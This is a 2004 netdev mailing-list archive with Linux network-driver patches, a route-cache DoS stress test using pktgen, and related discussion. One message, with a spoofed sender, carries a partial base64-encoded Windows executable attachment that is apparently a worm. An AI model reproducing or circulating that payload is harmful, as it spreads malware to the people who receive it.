charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040329193710.A5411@electric-eye.fr.zoreil.com>; from romieu@fr.zoreil.com on Mon, Mar 29, 2004 at 07:37:10PM +0200 X-Organisation: Land of Sunshine Inc. X-archive-position: 4319 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 1262 Lines: 42 Missing 'static' qualifier for functions. drivers/net/r8169.c | 9 +++------ 1 files changed, 3 insertions(+), 6 deletions(-) diff -puN drivers/net/r8169.c~r8169-missing-static drivers/net/r8169.c --- linux-2.6.5-rc2-mm5/drivers/net/r8169.c~r8169-missing-static 2004-03-29 18:42:21.000000000 +0200 +++ linux-2.6.5-rc2-mm5-fr/drivers/net/r8169.c 2004-03-29 18:42:21.000000000 +0200 @@ -346,8 +346,7 @@ static const unsigned int rtl8169_rx_con #define PHY_Cap_100_Half_Or_Less PHY_Cap_100_Half | PHY_Cap_10_Full_Or_Less #define PHY_Cap_100_Full_Or_Less PHY_Cap_100_Full | PHY_Cap_100_Half_Or_Less -void -mdio_write(void *ioaddr, int RegAddr, int value) +static void mdio_write(void *ioaddr, int RegAddr, int value) { int i; @@ -364,8 +363,7 @@ mdio_write(void *ioaddr, int RegAddr, in } } -int -mdio_read(void *ioaddr, int RegAddr) +static int mdio_read(void *ioaddr, int RegAddr) { int i, value = -1; @@ -1639,8 +1637,7 @@ rtl8169_set_rx_mode(struct net_device *d * * Get TX/RX statistics for rtl8169 */ -struct net_device_stats * -rtl8169_get_stats(struct net_device *dev) +static struct net_device_stats *rtl8169_get_stats(struct net_device *dev) { struct rtl8169_private *tp = dev->priv; void *ioaddr = tp->mmio_addr; _ From romieu@fr.zoreil.com Mon Mar 29 09:41:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 09:41:30 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2THfGKO003339 for ; Mon, 29 Mar 2004 09:41:17 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2THdHgf005458; Mon, 29 Mar 2004 19:39:17 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2THdHJn005457; Mon, 29 Mar 2004 19:39:17 +0200 Date: Mon, 29 Mar 2004 19:39:17 +0200 From: Francois Romieu To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [patch 4/4] 2.6.5-rc2-mm5 - r8169 queue Message-ID: <20040329193917.D5411@electric-eye.fr.zoreil.com> References: <20040329193604.A4744@electric-eye.fr.zoreil.com> <20040329193710.A5411@electric-eye.fr.zoreil.com> <20040329193747.B5411@electric-eye.fr.zoreil.com> <20040329193831.C5411@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040329193831.C5411@electric-eye.fr.zoreil.com>; from romieu@fr.zoreil.com on Mon, Mar 29, 2004 at 07:38:31PM +0200 X-Organisation: Land of Sunshine Inc. X-archive-position: 4320 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 1443 Lines: 42 pci_dma_sync_single_for_{cpu/device} sneaked in 2.6.5-rcX. Let's resync. drivers/net/r8169.c | 17 ++++++++++------- 1 files changed, 10 insertions(+), 7 deletions(-) diff -puN drivers/net/r8169.c~r8169-dma-api-update drivers/net/r8169.c --- linux-2.6.5-rc2-mm5/drivers/net/r8169.c~r8169-dma-api-update 2004-03-29 19:01:07.000000000 +0200 +++ linux-2.6.5-rc2-mm5-fr/drivers/net/r8169.c 2004-03-29 19:03:19.000000000 +0200 @@ -1443,19 +1443,22 @@ rtl8169_rx_interrupt(struct net_device * struct RxDesc *desc = tp->RxDescArray + entry; struct sk_buff *skb = tp->Rx_skbuff[entry]; int pkt_size = (status & 0x00001FFF) - 4; + void (*pci_action)(struct pci_dev *, dma_addr_t, + size_t, int) = pci_dma_sync_single_for_device; - pci_dma_sync_single(tp->pci_dev, - le32_to_cpu(desc->buf_addr), - RX_BUF_SIZE, PCI_DMA_FROMDEVICE); + + pci_dma_sync_single_for_cpu(tp->pci_dev, + le32_to_cpu(desc->buf_addr), RX_BUF_SIZE, + PCI_DMA_FROMDEVICE); if (rtl8169_try_rx_copy(&skb, pkt_size, desc, dev)) { - pci_unmap_single(tp->pci_dev, - le32_to_cpu(desc->buf_addr), - RX_BUF_SIZE, - PCI_DMA_FROMDEVICE); + pci_action = pci_unmap_single; tp->Rx_skbuff[entry] = NULL; } + pci_action(tp->pci_dev, le32_to_cpu(desc->buf_addr), + RX_BUF_SIZE, PCI_DMA_FROMDEVICE); + skb_put(skb, pkt_size); skb->protocol = eth_type_trans(skb, dev); netif_rx(skb); _ From ak@suse.de Mon Mar 29 10:03:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 10:03:22 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2TI3JKO004854 for ; Mon, 29 Mar 2004 10:03:20 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id DC8F83A1312; Mon, 29 Mar 2004 20:03:13 +0200 (CEST) Date: Mon, 29 Mar 2004 14:40:34 +0200 From: Andi Kleen To: Francois Romieu Cc: jgarzik@pobox.com, netdev@oss.sgi.com Subject: Re: [patch 0/4] 2.6.5-rc2-mm5 - r8169 queue Message-Id: <20040329144034.3d943d12.ak@suse.de> In-Reply-To: <20040329193604.A4744@electric-eye.fr.zoreil.com> References: <20040329193604.A4744@electric-eye.fr.zoreil.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4321 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev Content-Length: 456 Lines: 13 On Mon, 29 Mar 2004 19:36:04 +0200 Francois Romieu wrote: > There are a few (hopefully) harmless things in the local queue that I'd > appreciate to go mainline before the second round of r8169 changes. Do you have any plans to convert it to use DAC? I feel a bit uncomfortable with using the IOMMU on x86-64 for gigabit ethernet because it would be very easy to overflow it at these bandwidths. DAC would be much safer. -Andi From dipankar@in.ibm.com Mon Mar 29 10:47:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 10:47:51 -0800 (PST) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2TIldKO006162 for ; Mon, 29 Mar 2004 10:47:40 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e33.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2TIkhfS758242; Mon, 29 Mar 2004 13:46:43 -0500 Received: from soprano.in.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2TIkWJI375130; Mon, 29 Mar 2004 11:46:41 -0700 Received: by soprano.in.ibm.com (Postfix, from userid 500) id E12E67C52A; Tue, 30 Mar 2004 00:15:50 +0530 (IST) Date: Tue, 30 Mar 2004 00:15:50 +0530 From: Dipankar Sarma To: linux-kernel@vger.kernel.org Cc: netdev@oss.sgi.com, Robert Olsson , Andrea Arcangeli , "Paul E. McKenney" , Dave Miller , Alexey Kuznetsov , Andrew Morton Subject: route cache DoS testing and softirqs Message-ID: <20040329184550.GA4540@in.ibm.com> Reply-To: dipankar@in.ibm.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-archive-position: 4322 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dipankar@in.ibm.com Precedence: bulk X-list: netdev Content-Length: 3486 Lines: 80 Robert Olsson noticed dst cache overflows while doing DoS stress testing in a 2.6 based router setup a few months and davem, alexey, robert and I have been discussing this privately since then (198 mails, no less!!). Recently, I set up an environment to test Robert's problem and have been characterizing it. My setup is - pktgen box --- in router out -- eth0 eth0 <-> dumm0 10.0.0.1 10.0.0.2 5.0.0.1 The router box is a 2-way P4 xeon 2.4 GHz with 256MB memory. I use Robert's pktgen script - CLONE_SKB="clone_skb 1" PKT_SIZE="pkt_size 60" #COUNT="count 0" COUNT="count 10000000" IPG="ipg 0" PGDEV=/proc/net/pktgen/eth0 echo "Configuring $PGDEV" pgset "$COUNT" pgset "$CLONE_SKB" pgset "$PKT_SIZE" pgset "$IPG" pgset "flag IPDST_RND" pgset "dst_min 5.0.0.0" pgset "dst_max 5.255.255.255" pgset "flows 32768" pgset "flowlen 10" With this, wthin a few seconds of starting pktgen, I get dst cache overflow messages. I use the following instrumentation patch to look at what's happening - http://lse.sourceforge.net/locking/rcu/rtcache/pktgen/patches/15-rcu-debug.patch I tried both vanilla 2.6.0 and 2.6.0 + throttle-rcu patch which limits RCU to 4 updates per RCU tasklet. The results are here - http://lse.sourceforge.net/locking/rcu/rtcache/pktgen/gracedata/cpu-grace.png This graph shows the maximum grace period during ~4ms time buckets on x-axis. Couple of things are clear from this - 1. RCU grace periods of upto 300ms are seen. 300ms + 100Kpps packet amounts to about 30000 pending dst entries which result in route cache overflow. 2. throttle-rcu is only marginally better (10% less worst case grace period). So, what causes RCU to stall for 300ms odd time ? I did some measurements using the following patch - http://lse.sourceforge.net/locking/rcu/rtcache/pktgen/patches/25-softirq-debug.patch It applies on top of the 15-rcu-debug patch. This counts the number of softirqs (in effect and approximation) during ~4ms time buckets. The result is here - http://lse.sourceforge.net/locking/rcu/rtcache/pktgen/softirq/cpu-softirq.png The rcu grace period spikes are always accompanied by softirq frequency spikes. So, this indicates that it is the large number of quick-running softirqs that cause userland starvation which in turn result in RCU delays. This raises a fundamental question - should we work around this by providing a quiescent point at the end of every softirq handler (giving softirqs its own RCU mechanism) or should we address a wider problem, the system getting overwhelmed by heavy softirq load, and try to implement a real softirq throttling mechanism that balances cpu use. Robert demonstrated to us sometime ago with a small timestamping user program to show that it can get starved for more than 6 seconds in his system. So userland starvation is an issue. Thanks Dipankar From romieu@fr.zoreil.com Mon Mar 29 11:17:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 11:17:23 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2TJHGKO008661 for ; Mon, 29 Mar 2004 11:17:17 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2TJEfgf007071; Mon, 29 Mar 2004 21:14:41 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2TJEf9T007070; Mon, 29 Mar 2004 21:14:41 +0200 Date: Mon, 29 Mar 2004 21:14:41 +0200 From: Francois Romieu To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: Re: [patch 0/4] 2.6.5-rc2-mm5 - r8169 queue Message-ID: <20040329211441.B4744@electric-eye.fr.zoreil.com> References: <20040329193604.A4744@electric-eye.fr.zoreil.com> <4068656D.2080103@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <4068656D.2080103@pobox.com>; from jgarzik@pobox.com on Mon, Mar 29, 2004 at 01:05:33PM -0500 X-Organisation: Land of Sunshine Inc. X-archive-position: 4323 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 525 Lines: 16 Jeff Garzik : [...] > I am pondering taking your latest version of r8169, and moving the > phy-related code from there to 8139cp.c. Then just add > MODULE_ALIAS("r8169"); > and deleting r8169.c. > > The rationale is, 8169 is _exactly_ the same as 8139C+, except the phy > code and one or two bits in the chip registers. I would rather have > just one codebase, supporting one MAC (i.e. the RX/TX part) and multiple > phys. It seems appealing. Do you have a specific schedule in mind ? -- Ueimor From sri@us.ibm.com Mon Mar 29 11:58:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 11:58:05 -0800 (PST) Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2TJw2KO009800 for ; Mon, 29 Mar 2004 11:58:02 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e2.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2TJvunl431724; Mon, 29 Mar 2004 14:57:56 -0500 Received: from w-sridhar.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2TJwD5Y111102; Mon, 29 Mar 2004 14:58:14 -0500 Date: Mon, 29 Mar 2004 11:57:54 -0800 (PST) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: Jeff Garzik cc: Edgar Toernig , davem@redhat.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [PATCH] Consolidate multiple implementations of jiffies-msecs conversions. In-Reply-To: <40647E65.7020903@pobox.com> Message-ID: References: <20040326014403.39388cb8.froese@gmx.de> <40647E65.7020903@pobox.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 4324 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 1857 Lines: 58 On Fri, 26 Mar 2004, Jeff Garzik wrote: > Sridhar Samudrala wrote: > > On Fri, 26 Mar 2004, Edgar Toernig wrote: > > > > > >>Sridhar Samudrala wrote: > >> > >>>The following patch to 2.6.5-rc2 consolidates 6 different implementations > >>>of msecs to jiffies and 3 different implementation of jiffies to msecs. > >>>All of them now use the generic msecs_to_jiffies() and jiffies_to_msecs() > >>>that are added to include/linux/time.h > >>>[...] > >>>-#define MSECS(ms) (((ms)*HZ/1000)+1) > >>>-return (((ms)*HZ+999)/1000); > >>>+return (msecs / 1000) * HZ + (msecs % 1000) * HZ / 1000; > >> > >>Did you check that all users of the new version will work correctly > >>with your rounding? Explicit round-up of delays is often required, > >>especially when talking to hardware... > > > > > > I don't see any issues with the 2.6 default HZ value of 1000 as they become > > no-ops and there is no need for any rounding. > > I guess you are referring to cases when HZ < 1000(ex: 100) and msecs is > > less than 10. In those cases, the new version returns 0, whereas some of the > > older versions return 1. > > We'll definitely want to return 1 rather than zero, for the uses in my > drivers, at least... I have modified msecs_to_jiffies() to do the proper rounding when HZ=100. Do these work better? static inline unsigned long msecs_to_jiffies(unsigned long msecs) { #if 1000 % HZ == 0 return (msecs + ((1000 / HZ) - 1)) / (1000 / HZ); #elif HZ % 1000 == 0 return msecs * (HZ / 1000); #else return (msecs / 1000) * HZ + (msecs % 1000) * HZ / 1000; #endif } static inline unsigned long jiffies_to_msecs(unsigned long jiffs) { #if 1000 % HZ == 0 return jiffs * (1000 / HZ); #elif HZ % 1000 == 0 return jiffs / (HZ / 1000); #else return (jiffs / HZ) * 1000 + (jiffs % HZ) * 1000 / HZ; #endif } Thanks Sridhar From davem@redhat.com Mon Mar 29 12:11:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 12:11:30 -0800 (PST) Received: from recepcao (201008141027.user.veloxzone.com.br [201.8.141.27]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2TKBQKP010683 for ; Mon, 29 Mar 2004 12:11:27 -0800 Date: Mon, 29 Mar 2004 17:10:16 -0300 To: netdev@oss.sgi.com Subject: From: davem@redhat.com Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------862548511338066" X-archive-position: 4325 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 11413 Lines: 168 ----------862548511338066 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit ----------862548511338066 Content-Type: application/x-msdownload; name="icaiqrh.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="atqsccsiuy.exe" TVqQAAMAAAAEAAAAUEUAAEwBAgBGU0chAAAAAAAAAADgAA8BCwEAAAAkAAAAPgAAAAAAABK9 AAAAEAAADAAAAAAAQAAAEAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAwAAAAAIAAAAAAAACAAAA AAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAADXvQAANAAAAACgAACgAwAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQ AAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgAADAAAAAAHRhAAAAIAAAAKAAAAseAAAAAgAA AAAAAAAAAAAAAAAA4AAAwEtFUk5FTDMyLmRsbAAAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0Fk ZHJlc3MAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzb1AAMG9QADDvUAAmAFAAAAQQACco0AA AVBAAAGQQAAAAAAAtEVAAAEAAAD/vUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAwAAACAAAIAOAAAA OAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAUAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAaAAAgAAA AAAAAAAAAAAAAAAAAQAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAkAAAALSgAADoAgAA AAAAAAAAAACgoAAAFAAAAAAAAAAAAAAAAAABAAEAICAQAAEABADoAgAAAQAoAAAAIAAAAEAA AAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAA gIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAD////wAAAAAAAAAAAAAAD///D///AAAAAAAAAAAAD////w////8AAAAAAAAAAP/w//8P// D/8AAAAAAAAA//////D/////8AAAAAAAD/////////////8AAAAAAA////////8P////AAAA AAD/D///////AP//D/AAAAAA////////8PD////wAAAAD/////////AP/////wAAAA////// //8PD/////8AAAAP////////AP//////AAAADwAA////8PD///AADwAAAA///////w8P//// //8AAAAP//////Dw+f//////AAAAD/////8PD/+f/////wAAAAD////w8P//+f////AAAAAA /w//Dw////+f/w/wAAAAAA//8PD/////+f//AAAAAAAP//8P//////+f/wAAAAAAAP/////w //////AAAAAAAAAP/w//8P//D/8AAAAAAAAAAP////D////wAAAAAAAAAAAA///w///wAAAA AAAAAAAAAAD////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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mkcaI6rnqTeowwKYnkOvvvv4o8x VMuQVG48BmRpZ/WoAmzKGHUTQVlTQcvtHqp/snD+xKaZb8yGfYLDiPP6OVG2JXEd5iVbgQ5t T25IR03PkWTQH3NoUncKDWk0mVVCVEHNbUFBCVJDIUwWCW1USQlE0crlEexAQYkk8XSpNEtE /Mk79U8x5elVIJlBpxGhDkVHlCxn0/VkWrIMORpDI63GAQi99+l2VJF0x4FoZ1OUSFauUTAg JEGhD1GkFLAhEcVDM91L+nmSDg1PG5GYHBRpcN9zhST4mU4GdzB+a0hQM1AJc5KywUdTSEVM xphuVWhpZQwSjEtVMJwCAL6kAUAArZOtl61WlrKApLaA/xNz+TPJ/xNzFjPA/xNzH7aAQbAQ /xMSwHP6dTyq6+D/UwgC9oPZAXUO/1ME6yas0eh0LxPJ6xqRSMHgCKz/UwQ9AH0AAHMKgPwF cwaD+H93AkFBlYvFtgBWi/cr8POkXuudi9ZerUh0CnkCrVBWi/KX64etk15GrZdW/xOVrITA dfv+DnTweQVGrVDrCf4OD4Tbc///VlX/UwSr6+AzyUH/ExPJ/xNy+MMC0nUFihZGEtLD/70A AAAAAAAAAAAAVAEAAP+9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAGEBAABvAQAAAAAAAAAAAAAA ----------862548511338066-- From romieu@fr.zoreil.com Mon Mar 29 12:37:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 12:37:22 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2TKbGKO014922 for ; Mon, 29 Mar 2004 12:37:19 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i2TKZEgf008313; Mon, 29 Mar 2004 22:35:14 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i2TKZDpS008312; Mon, 29 Mar 2004 22:35:13 +0200 Date: Mon, 29 Mar 2004 22:35:13 +0200 From: Francois Romieu To: Andi Kleen Cc: jgarzik@pobox.com, netdev@oss.sgi.com Subject: Re: [patch 0/4] 2.6.5-rc2-mm5 - r8169 queue Message-ID: <20040329223513.C4744@electric-eye.fr.zoreil.com> References: <20040329193604.A4744@electric-eye.fr.zoreil.com> <20040329144034.3d943d12.ak@suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20040329144034.3d943d12.ak@suse.de>; from ak@suse.de on Mon, Mar 29, 2004 at 02:40:34PM +0200 X-Organisation: Land of Sunshine Inc. X-archive-position: 4326 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 481 Lines: 14 Andi Kleen : [...] > Do you have any plans to convert it to use DAC? I should be able to cook up something shortly (i.e. during the week) so that it is available in -mm or in a separate tree. For anything else I'll go leveraging the 8139cp functions as - it will not appear in 2.6.5 anyway so there is plenty of time ahead (TM); - current -mm tree (+ a possible performance change) looks satisfactory enough so that it can be freezed in the meantime. -- Ueimor From brazilnut@us.ibm.com Mon Mar 29 13:12:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 13:13:06 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2TLCiKO016276 for ; Mon, 29 Mar 2004 13:12:53 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2TLCY0Y722096; Mon, 29 Mar 2004 16:12:34 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2TLCWQr055308; Mon, 29 Mar 2004 14:12:33 -0700 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i2TLCGD10901; Mon, 29 Mar 2004 13:12:16 -0800 From: Don Fry Message-Id: <200403292112.i2TLCGD10901@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH] pcnet32.c add support for 79C976 To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Mon, 29 Mar 2004 13:12:15 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 4327 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 578 Lines: 20 Please apply the following patch to 2.6.5-rc2-bk9 and 2.4.26-rc1 to include support for the 79C976. Tested on IA32. --- linux-2.6.5-rc2-bk9/drivers/net/orig.pcnet32.c Mon Mar 29 11:34:13 2004 +++ linux-2.6.5-rc2-bk9/drivers/net/pcnet32.c Mon Mar 29 11:39:57 2004 @@ -909,6 +909,10 @@ chipname = "PCnet/FAST III 79C975"; /* PCI */ fdx = 1; mii = 1; break; + case 0x2628: + chipname = "PCnet/FAST III 79C976"; + fdx = 1; mii = 1; + break; default: printk(KERN_INFO PFX "PCnet version %#x, no PCnet32 chip.\n", chip_version); -- Don Fry brazilnut@us.ibm.com From bdschuym@pandora.be Mon Mar 29 13:41:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 13:41:45 -0800 (PST) Received: from adicia.telenet-ops.be (adicia.telenet-ops.be [195.130.132.56]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2TLfWKO017406 for ; Mon, 29 Mar 2004 13:41:33 -0800 Received: from localhost (localhost.localdomain [127.0.0.1]) by adicia.telenet-ops.be (Postfix) with SMTP id 73193441A9; Mon, 29 Mar 2004 23:14:13 +0200 (MEST) Received: from 192.168.0.138 (D5763DC1.kabel.telenet.be [213.118.61.193]) by adicia.telenet-ops.be (Postfix) with ESMTP id 2A829440EE; Mon, 29 Mar 2004 23:14:13 +0200 (MEST) From: Bart De Schuymer To: "David S.Miller" Subject: [PATCH] don't require ip_forwarding for reset on a bridge Date: Mon, 29 Mar 2004 23:14:12 +0200 User-Agent: KMail/1.5 Cc: netdev , netfilter-devel MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200403292314.12855.bdschuym@pandora.be> X-archive-position: 4328 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bdschuym@pandora.be Precedence: bulk X-list: netdev Content-Length: 1339 Lines: 40 Hi Dave, Currently, to be able to send a reset in the FORWARD chain of iptables for bridged traffic, ip forwarding must be enabled. This causes confusion and in some situations people really don't want to enable ip forwarding. The patch below lets the user send reset packets for bridged frames in the FORWARD chain, with ip forwarding disabled (as long as there is a route). cheers, Bart --- linux-2.6.4/net/ipv4/netfilter/ipt_REJECT.c.old Sun Mar 21 19:34:04 2004 +++ linux-2.6.4/net/ipv4/netfilter/ipt_REJECT.c Mon Mar 22 22:54:56 2004 @@ -24,6 +24,9 @@ #include #include #include +#ifdef CONFIG_BRIDGE_NETFILTER +#include +#endif MODULE_LICENSE("GPL"); MODULE_AUTHOR("Netfilter Core Team "); @@ -56,7 +59,13 @@ static inline struct rtable *route_rever struct flowi fl = {}; struct rtable *rt; - if (hook != NF_IP_FORWARD) { + /* We don't require ip forwarding to be enabled to be able to + * send a RST reply for bridged traffic. */ + if (hook != NF_IP_FORWARD +#ifdef CONFIG_BRIDGE_NETFILTER + || (skb->nf_bridge && skb->nf_bridge->mask & BRNF_BRIDGED) +#endif + ) { fl.nl_u.ip4_u.daddr = iph->saddr; if (hook == NF_IP_LOCAL_IN) fl.nl_u.ip4_u.saddr = iph->daddr; From vda@port.imtp.ilyichevsk.odessa.ua Mon Mar 29 13:51:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Mar 2004 13:51:18 -0800 (PST) Received: from port.imtp.ilyichevsk.odessa.ua (168.imtp.Ilyichevsk.Odessa.UA [195.66.192.168] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2TLpBKO017945 for ; Mon, 29 Mar 2004 13:51:13 -0800 Received: (qmail 13051 invoked by alias); 29 Mar 2004 21:49:13 -0000 Received: from unknown (1.0.3.9) by 0 (195.66.192.168) with ESMTP; 29 Mar 2004 21:49:13 -0000 From: Denis Vlasenko To: Andreas Henriksson , Francois Romieu Subject: Re: fealnx oopses Date: Mon, 29 Mar 2004 23:49:06 +0200 User-Agent: KMail/1.5.4 Cc: Andreas Henriksson , Jeff Garzik , netdev@oss.sgi.com, Denis Vlasenko References: <200403261214.58127.vda@port.imtp.ilyichevsk.odessa.ua> <20040329013834.B24996@electric-eye.fr.zoreil.com> <20040329170143.GA28822@scream.fjortis.info> In-Reply-To: <20040329170143.GA28822@scream.fjortis.info> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: 